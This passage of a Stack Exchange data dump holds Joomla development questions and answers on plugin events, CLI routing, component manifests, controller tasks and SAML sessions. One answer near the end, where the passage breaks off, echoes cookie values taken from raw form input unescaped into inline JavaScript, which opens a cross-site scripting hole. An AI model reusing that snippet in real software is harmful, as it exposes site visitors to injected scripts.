  <row Id="25145" PostTypeId="1" AcceptedAnswerId="25153" CreationDate="2019-09-05T22:37:27.567" Score="4" ViewCount="163" Body="&lt;p&gt;I have created a plugin that works using onContentAfterSave to fire off some other processing once a record is saved. This works as expected in the Back End but nothing gets triggered when I save a record in the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The record I am saving is part of a custom component code, original coming from component creator some time ago if that may have something to do with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can trap my plugin being triggered by core extensions like com_content when saving an article, the $context being com_content.form so I confirmed onContentAfterSave is available in the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking through the site code I can see various components have triggers for&#xA;onContentAfterSave or event_after_save which seems to be a new method but both comeback to this piece of code in AdminModel.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($config['event_after_save']))&#xA;            {&#xA;                $this-&amp;gt;event_after_save = $config['event_after_save'];&#xA;            }&#xA;            elseif (empty($this-&amp;gt;event_after_save))&#xA;            {&#xA;                $this-&amp;gt;event_after_save = 'onContentAfterSave';&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I can't find any triggers being set in Front End libraries nor can I find other reference to code similar to above in frontend classes so I am assuming that someone how AdminModel.php is getting used by the FrontEnd at some stage or there is different approach for triggering being used in the frontEnd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following com_content I end up in class Table, ../libraries/src/Table/Table.php which has a couple of functions dealing with Observers that I think might be related but not sure and then this line in the store function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_observers-&amp;gt;update('onAfterStore', array(&amp;amp;$result));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All a bit lost now trying to understand if it is a new or different way and with J4 coming along what is the best approach to handle this for the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could simply put a trigger somewhere in my code and move on, but I have been looking at this problem hours, getting near a day, trying to work out how it is working for com_content but not for my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers or explanations appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-09-09T07:48:41.987" Title="How is onContentAfterSave working in the Front End?" Tags="|joomla-3.x|plugin-events|best-practices|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25146" PostTypeId="2" ParentId="25143" CreationDate="2019-09-06T00:14:59.187" Score="1" Body="&lt;p&gt;From your question it is ambiguous whether your entry file is inside the admin subfolder or not.  It should be in the com_administratie folder if it isn't.  Also your xml files declaration looks odd:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files folder=&quot;components/com_administratie/admin&quot;&amp;gt;&#xA;&amp;lt;file&amp;gt;administratie.php&amp;lt;/file&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The folder attribute should just be site or admin.  While sub folders can be included as folder elements.  So something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files folder=&quot;admin&quot;&amp;gt;&#xA;  &amp;lt;filename&amp;gt;administratie.php&amp;lt;/filename&amp;gt;&#xA;  &amp;lt;folder&amp;gt;admin&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're only using discovery to install then the file declarations don't matter as much.  In any case, the component will look at &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/components/com_administratie/administratie.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as the default entry file without much prompting.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2019-09-06T00:14:59.187" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25147" PostTypeId="1" AcceptedAnswerId="25148" CreationDate="2019-09-06T05:10:15.503" Score="2" ViewCount="282" Body="&lt;p&gt;I am new to Joomla, I am writing a script under folder cli. I am calling helper file of admin component where I fetch category and return url of category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function in helper is fine and works well when executed through admin menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is with category URL not being generated when used in cli script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app    = JApplication::getInstance('site'); &#xA;$router = &amp;amp;$app-&amp;gt;getRouter();     &#xA;$newUrl = ContentHelperRoute::getCategoryRoute('10'); &#xA;$newUrl = $router-&amp;gt;build($newUrl); &#xA;$url = $newUrl-&amp;gt;toString(); &#xA;$url = str_replace('/administrator', '', $url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when used with CLI it throws error for strict standards for &lt;code&gt;$router = &amp;amp;$app-&amp;gt;getRouter();&lt;/code&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have also tried &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JRoute::_(ContentHelperRoute::getCategoryRoute('10'));&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It just throws error saying failed to start application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get SEF url of category so that I can also get it returned in my cli file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My cli code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Abc extends JApplicationCli&#xA;{&#xA;    public function doExecute()&#xA;    {&#xA;        JFactory::getSession()-&amp;gt;gc();&#xA;&#xA;        JLoader::register('AbcHelper',JPATH_BASE.'/administrator/components/com_abc/helper.php');&#xA;        $url = AbcHelper::getUrl();&#xA;        echo $url;&#xA;    }&#xA;}&#xA;&#xA;JApplicationCli::getInstance('Abc')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;helper.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getUrl()&#xA;{&#xA;    $url='';&#xA;    $app    = JApplication::getInstance('site');&#xA;    $router = &amp;amp;$app-&amp;gt;getRouter();    &#xA;    $newUrl = ContentHelperRoute::getCategoryRoute('10');&#xA;    $newUrl = $router-&amp;gt;build($newUrl);&#xA;    $url = $newUrl-&amp;gt;toString();&#xA;    $url = str_replace('/administrator', '', $url);&#xA;    return $url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13692" LastActivityDate="2019-09-06T06:45:22.553" Title="Joomla SEF url in CLI script" Tags="|joomla-3.x|url|category|cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25148" PostTypeId="2" ParentId="25147" CreationDate="2019-09-06T05:59:32.443" Score="0" Body="&lt;p&gt;Use factory to get site application: Also looks like &lt;code&gt;ContentHelperRoute&lt;/code&gt; is missing. You have import it. The strict standards can be solved by removing the ampersand before &lt;code&gt;getRouter()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getUrl()&#xA;{&#xA;    // Register required classes.&#xA;    JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');&#xA;&#xA;    // Get site router.&#xA;    $router = JFactory::getApplication('site')-&amp;gt;getRouter('site');&#xA;&#xA;    // Build URI object.&#xA;    $url = $router-&amp;gt;build(ContentHelperRoute::getCategoryRoute('10'));&#xA;&#xA;    return $url-&amp;gt;toString();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;i have also tried&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;JRoute::_(ContentHelperRoute::getCategoryRoute('10'));&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;It just throws error saying failed to start application.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JRoute::_()&lt;/code&gt; will not work in CLI because it's based on current application and CLI doesn't have a router. &lt;code&gt;JRoute::link()&lt;/code&gt; should work but, apparently, it has the same issue at the moment.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-09-06T06:45:22.553" LastActivityDate="2019-09-06T06:45:22.553" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25149" PostTypeId="2" ParentId="25134" CreationDate="2019-09-08T22:16:38.883" Score="2" Body="&lt;p&gt;A &quot;task&quot; is a &lt;a href=&quot;https://www.php.net/manual/en/language.oop5.basic.php#language.oop5.basic.properties-methods&quot; rel=&quot;nofollow noreferrer&quot;&gt;class method&lt;/a&gt; (function) in a component's controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, &lt;code&gt;weblink&lt;/code&gt; is the controller and &lt;code&gt;go&lt;/code&gt; is a method within the controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple and clear tutorial: &lt;a href=&quot;https://www.inmotionhosting.com/support/edu/joomla-3/create-component/add-new-task&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to add a New Task to your Joomla 3 Component&lt;/a&gt; from InmotionHosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll bring the screen captured snippets into text here, but certainly visit the link for the tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@ &lt;strong&gt;/components/com_helloworld/helloworld.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;define('_JEXEC') or die('Restricted access');&#xA;&#xA;// import joomla controller library&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;// Get an instance of the controller prefixed by HelloWorld&#xA;$controller = JControllerLegacy::getInstance('HelloWorld');&#xA;&#xA;// Perform the Request task&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$controller-&amp;gt;execute($input-&amp;gt;getCmd('task'));&#xA;&#xA;// Display the name of the task being executed&#xA;echo &quot;&amp;lt;p&amp;gt;Just finished executing: &quot; , $input-&amp;gt;getCmd('task') , &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;&#xA;// Redirect if set by the controller&#xA;$controller-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;@ &lt;strong&gt;/components/com_helloworld/controller.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;define('_JEXEC') or die('Restricted access');&#xA;&#xA;// import Joomla controller library&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;/**&#xA; * Hello World Component Controller&#xA; */&#xA;class HelloWorldController extends JControllerLegacy&#xA;{&#xA;    function shout()&#xA;    {&#xA;        echo &quot;&amp;lt;p&amp;gt;THIS IS ME SHOUTING!&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The effect at &lt;strong&gt;example.com/index.php/option=com_helloworld&amp;amp;task=shout&lt;/strong&gt; would be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;THIS IS ME SHOUTING!&lt;br&gt;&#xA;  Just finished executing: shout&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;with the generated source code looking like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;THIS IS ME SHOUTING!&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Just finished executing: shout&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For supplemental reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/19029807/2943403&quot;&gt;what is difference between view and task in joomla 2.5 and what is url structure in joomla 2.5?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/23700/12352&quot;&gt;MVC what stage sets a task if none provided&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/19195163/2943403&quot;&gt;$input-&gt;getCmd('task') what is 'task' in JOOMLA&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-09-08T22:16:38.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25151" PostTypeId="1" CreationDate="2019-09-09T05:26:51.407" Score="1" ViewCount="69" Body="&lt;p&gt;I'm facing an issue on the backend side of my Joomla 3.9.&#xA;I'm using K2 as the content builder and set TinyMCE as default editor. I wanted to insert an image by using the modal button &quot;image&quot;, but, as I'm in the popup window and I select an image, neither the &quot;insert&quot; button nor the exit one works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particularly I got this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: window.parent.jInsertEditorText is not a function&#xA;      at Object.onok (popup-imagemanager.min.js?4a006a4cdc5a805)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here below a screenshot of what the situation looks like&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9muwk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9muwk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix it? &lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2019-09-09T05:26:51.407" Title="Cannot insert image in k2 article" Tags="|javascript|joomla-3.9|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25153" PostTypeId="2" ParentId="25145" CreationDate="2019-09-09T07:48:41.987" Score="3" Body="&lt;p&gt;&lt;code&gt;com_content&lt;/code&gt; frontend form model extends the backend model which in turn extends &lt;code&gt;Joomla\CMS\MVC\Model\AdminModel&lt;/code&gt;. The backend model has a custom &lt;code&gt;save()&lt;/code&gt; method where the event is triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, your frontend form model extends &lt;code&gt;Joomla\CMS\MVC\Model\FormModel&lt;/code&gt; which has no such event and no &lt;code&gt;save()&lt;/code&gt; method. The simplest solution would be to trigger the event yourself in your model's &lt;code&gt;save()&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-09-09T07:48:41.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25154" PostTypeId="1" AcceptedAnswerId="25160" CreationDate="2019-09-09T10:02:22.770" Score="1" ViewCount="72" Body="&lt;p&gt;My component hooks into some core Joomla behaviour, adding an extra path that it needs other related components to be able to use. I do this simply by adding it to the global path include ( &lt;code&gt;defines.php&lt;/code&gt; ) on install and removing it on uninstall. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works well, although I accept that it may be bad policy. I need this path to be available globally and the current approach achieves that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that if Joomla updates there is potential for my path to be erased if the update overwrites that file. I have seen this happen and it obviously makes a mess of my other components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having the path available is far tidier and more readable than using a component path globally, especially as some of the code that requires it may not be part of a component at all, so I would prefer to keep it this way. What I am looking for is a way to maintain this configuration across updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to either keep the configured path somewhere that it will always be available but Joomla will not remove it on update &lt;em&gt;or&lt;/em&gt; is there some kind of signal or event when a Joomla update has completed so I can hook into that in order to check the path and re-add it if necessary after the update?&lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2019-09-11T00:15:39.177" Title="How to maintain a configuration change after Joomla update?" Tags="|custom-component|update|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25155" PostTypeId="2" ParentId="24769" CreationDate="2019-09-09T16:24:54.650" Score="0" Body="&lt;p&gt;After letting this go for awhile and then eventually opening another ticket after J! started giving me the warning this was finally resolved. It was kicked to the admin and then fixed within a couple of days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be no solution as i'm told it was not on my end. Thanks to those who tried to help and cloudaccess admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anything this teaches us if we're sure we've tried everything to keep asking the host to check. This question can be deleted if desired.&lt;/p&gt;&#xA;" OwnerUserId="13028" LastActivityDate="2019-09-09T16:24:54.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25156" PostTypeId="1" CreationDate="2019-09-09T19:41:59.740" Score="0" ViewCount="45" Body="&lt;p&gt;Country codes and flags do not correspond. Where can I change the country codes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the mod-language (language switcher), but didn't find all the flags and countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another folder where the flags and country codes are kept?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l2HwM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l2HwM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13758" LastEditorUserId="12352" LastEditDate="2019-09-09T23:27:39.940" LastActivityDate="2019-09-09T23:27:39.940" Title="Jomres Country code and flag not corresponding" Tags="|component|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25157" PostTypeId="1" CreationDate="2019-09-09T20:10:43.360" Score="2" ViewCount="215" Body="&lt;p&gt;I work on implementing single sign on with joomla and simplesamlphp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to use the simpleamlphp api in the context of a joomla plugin in the onAfterInitialise event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To that end, the plugin in the onAfterInitialise event detects if there are in the parameters sent by the HTTP request one with name &lt;code&gt;simplesamlphp&lt;/code&gt; and with value&lt;code&gt;sso&lt;/code&gt;, if it is true I start the object &lt;code&gt;\SimpleSAML\Auth\Simple&lt;/code&gt; and start the authentication process by calling the &lt;code&gt;requireAuth()&lt;/code&gt; method. This shows the simpleamlphp authentication form and by providing valid credentials redirects me to the site that initiated the authentication process, here I try to access the attributes of the authenticated user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I cannot access the attributes of the authenticated user in simplesamlphp because I cannot access the original instance of the &lt;code&gt;\SimpleSAML\ Auth\Simple&lt;/code&gt; object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now trying to save the object in a session variable but I am getting the class error &lt;code&gt;__PHP_Incomplete_Class&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm trying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;jimport( 'joomla.plugin.plugin' );&#xA;&#xA;require_once('/var/simplesamlphp/lib/_autoload.php');&#xA;&#xA;class plgSystemMysamlredirect extends JPlugin&#xA;{&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        $application = JFactory::getApplication();&#xA;        $session = JFactory::getSession();&#xA;&#xA;        $jinput = $application-&amp;gt;input;&#xA;&#xA;        $get = (object) $jinput-&amp;gt;get-&amp;gt;getArray();&#xA;&#xA;        if (isset($get-&amp;gt;simplesamlphp) &amp;amp;&amp;amp; $get-&amp;gt;simplesamlphp === 'sso') {&#xA;            $auth = new SimpleSAML_Auth_Simple('default-sp');&#xA;&#xA;            $session-&amp;gt;set('auth', $auth);&#xA;&#xA;            $auth-&amp;gt;requireAuth();&#xA;        }&#xA;&#xA;        $auth = $session-&amp;gt;get('auth');&#xA;&#xA;        if (!is_null($auth)) {&#xA;            if ($auth-&amp;gt;isAuthenticated()) {&#xA;                $attributes = $auth-&amp;gt;getAttributes();&#xA;&#xA;                print_r($attributes);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to avoid the &lt;code&gt;__PHP_Incomplete_Class&lt;/code&gt; error, before storing the object in session I do a cast a array and then to access it I do a cast object of the session variable. but when trying to call the &lt;code&gt;isAuthenticated()&lt;/code&gt; method, the error returns with the message that the method does not exist&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When setting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session-&amp;gt;set('authentication', (array) $authentication);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When getting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$authentication = (object) $session-&amp;gt;get('authentication');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I welcome your comments and suggestions&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="13628" LastEditDate="2019-09-09T21:32:23.153" LastActivityDate="2019-09-09T21:32:23.153" Title="__PHP_Incomplete_Class when trying to access an object stored in session" Tags="|plugin|system-plugin|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25160" PostTypeId="2" ParentId="25154" CreationDate="2019-09-11T00:15:39.177" Score="2" Body="&lt;h1&gt;System Plugins&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Official Documentation: &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/System&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A system plugin is not only useful for a wide variety of site tasks, but is also a good intro to the lifecycle. Take note of the naming coventions plg group name written camel case for the class and snake case for the the internal plugin name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All active system plugins are registered for every request, which means that if you wish to add functions etc to the global space you can declare them outside of the class declaration.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example Manifest&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;File Location: /plugins/system/example/example.xml&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.8&quot; type=&quot;plugin&quot; group=&quot;system&quot;&amp;gt;&#xA;  &amp;lt;name&amp;gt;plg_system_example&amp;lt;/name&amp;gt;&#xA;  &amp;lt;author&amp;gt;Author&amp;lt;/author&amp;gt;&#xA;  &amp;lt;creationDate&amp;gt;January 2018&amp;lt;/creationDate&amp;gt;&#xA;  &amp;lt;version&amp;gt;1.0.1&amp;lt;/version&amp;gt;&#xA;  &amp;lt;description&amp;gt;An example system plugin&amp;lt;/description&amp;gt;&#xA;  &amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;example&quot;&amp;gt;example.php&amp;lt;/filename&amp;gt;&#xA;  &amp;lt;/files&amp;gt;&#xA;  &amp;lt;config&amp;gt;&amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Entry File&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;File Location: /plugins/system/example/example.php&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;function myGloballyAvailableThing($x){&#xA;// do stuff&#xA;}&#xA;&#xA;define('RANDOMCONSTANT','USEFULVALUE');&#xA;&#xA;&#xA;class plgSystemExample extends JPlugin&#xA;{&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        // Do something onAfterInitialise&#xA;        // eg. Manipulate the input prior to the router dealing with it&#xA;    }&#xA;&#xA;    public function onAfterRoute()&#xA;    {&#xA;        // Do something onAfterRoute&#xA;        // eg. Test to see if this a certain component and if so run some script&#xA;    }&#xA;&#xA;    function onBeforeCompileHead()&#xA;    {&#xA;        // Do something onBeforeCompileHead&#xA;        // eg. Manipulate something in the head tag&#xA;    }&#xA;&#xA;    public function onAfterRender()&#xA;    {&#xA;        // Do something onAfterRender&#xA;        // eg. pull the html from the document buffer and do a string replace on something&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2019-09-11T00:15:39.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26160" PostTypeId="1" CreationDate="2019-09-11T07:30:45.500" Score="0" ViewCount="86" Body="&lt;p&gt;I make a component for Joomla 3. It has two lists &quot;City&quot; and &quot;Place&quot;. How can I make the &quot;Place&quot; list update without reloading the page when I select &quot;City&quot;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;cityid&quot;&#xA;type=&quot;sql&quot;&#xA;class=&quot;cityid&quot;&#xA;label=&quot;Выберите город&quot;&#xA;description=&quot;Выберите город&quot;&#xA;sql_select=&quot;e.*&quot;&#xA;sql_from=&quot;#__lk_cities AS e&quot;&#xA;sql_group=&quot;title&quot;&#xA;sql_order=&quot;e.id ASC&quot;&#xA;key_field=&quot;id&quot;&#xA;value_field=&quot;title&quot;&#xA; filter=&quot;raw&quot;&#xA;header=&quot;Выберите город&quot;&#xA;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;placecoolectionid&quot;&#xA;type=&quot;sql&quot;&#xA;label=&quot;Выберите место сбора&quot;&#xA;description=&quot;Выберите сбора&quot;&#xA;sql_select=&quot;e.*&quot;&#xA;sql_from=&quot;#__lk_place_collections AS e&quot;&#xA;sql_group=&quot;title&quot;&#xA;sql_order=&quot;e.cityid ASC&quot;&#xA;sql_filter=&quot;cityid&quot;&#xA;key_field=&quot;id&quot;&#xA;value_field=&quot;title&quot;&#xA;required=&quot;true&quot;&#xA;class=&quot;placecoolectionid&quot;&#xA;header=&quot;Выберите место сбора&quot;&#xA;showon=&quot;cityid!:0&quot;&#xA;filter=&quot;raw&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do not complicate, give a very detailed answer because I'm new to this&lt;/p&gt;&#xA;" OwnerUserId="13761" LastActivityDate="2019-09-11T07:30:45.500" Title="Joomla 3. Dependent select in custom component" Tags="|joomla-3.x|jquery|ajax|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26161" PostTypeId="2" ParentId="25106" CreationDate="2019-09-11T11:27:09.400" Score="0" Body="&lt;p&gt;It's quite simple, the font-family you are specifying does not contain that character so the browser falls back to one that does, which is not available in weight 300; the result fallback font, default weight (400).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution, choose a font that contains all the characters you need.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2019-09-11T11:27:09.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26164" PostTypeId="2" ParentId="25110" CreationDate="2019-09-12T07:48:18.547" Score="0" Body="&lt;p&gt;this is a solution tested and running ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(PD: The solution seems to be the use (or abuse) of the @ to avoid the warnings, and I am not sure if this can be considered a real solution or not)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script called on form display:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//COOKIES&#xA;$inputCookie = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$bdayd = $inputCookie-&amp;gt;get('rsformdatabdayd', '');&#xA;$bdaym = $inputCookie-&amp;gt;get('rsformdatabdaym', '');&#xA;$bdayy = $inputCookie-&amp;gt;get('rsformdatabdayy', '');&#xA;&#xA;echo '&amp;lt;script&amp;gt;&#xA;        jQuery( document ).ready( function() {&#xA;            document.getElementById(&quot;bdayd&quot;).value = &quot;'. $bdayd .'&quot;;&#xA;            document.getElementById(&quot;bdaym&quot;).value = &quot;'. $bdaym .'&quot;;&#xA;            document.getElementById(&quot;bdayy&quot;).value = &quot;'. $bdayy .'&quot;;&#xA;        } );&#xA;&#xA;&amp;lt;/script&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script called on form process:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// COOKIES&#xA;$inputCookie = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;@$inputCookie-&amp;gt;set('rsformdata', $_POST['form']);&#xA;@$inputCookie-&amp;gt;set('rsformdatacountry', $_POST['form']['country']);&#xA;@$inputCookie-&amp;gt;set('rsformdataaddress-level1', $_POST['form']['address-level1']);&#xA;@$inputCookie-&amp;gt;set('rsformdatastudies', $_POST['form']['studies']);&#xA;@$inputCookie-&amp;gt;set('rsformdataemployment', 